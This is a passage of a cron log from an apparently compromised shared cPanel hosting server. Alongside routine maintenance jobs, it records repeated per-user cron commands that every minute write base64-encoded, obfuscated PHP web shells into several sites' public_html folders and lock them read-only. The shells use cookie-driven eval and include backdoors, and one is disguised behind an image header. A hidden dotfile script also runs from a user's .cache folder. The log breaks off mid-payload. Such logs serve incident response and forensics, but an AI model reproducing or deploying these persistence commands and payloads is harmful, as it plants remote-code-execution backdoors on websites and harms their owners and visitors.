Apr 19 05:35:02 medusa CROND[23252]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:35:02 medusa CROND[23262]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:35:02 medusa CROND[23263]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:35:02 medusa CROND[23247]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:35:02 medusa CROND[23264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:35:02 medusa CROND[23266]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:35:02 medusa CROND[23319]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:36:01 medusa CROND[26443]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:36:01 medusa CROND[26567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:36:01 medusa CROND[26615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:36:01 medusa CROND[26618]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:36:01 medusa CROND[26619]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:36:01 medusa CROND[26620]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:36:01 medusa CROND[26621]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:36:01 medusa CROND[26630]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:36:01 medusa CROND[26633]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:36:01 medusa CROND[26634]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:36:01 medusa CROND[26631]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:36:01 medusa CROND[26639]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:36:01 medusa CROND[26641]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:36:01 medusa CROND[26647]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:37:01 medusa CROND[27024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:37:01 medusa CROND[27025]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:37:01 medusa CROND[27026]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:37:01 medusa CROND[27027]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:37:01 medusa CROND[27029]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:37:01 medusa CROND[27031]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:37:01 medusa CROND[27032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:37:01 medusa CROND[27035]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:37:01 medusa CROND[27030]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZ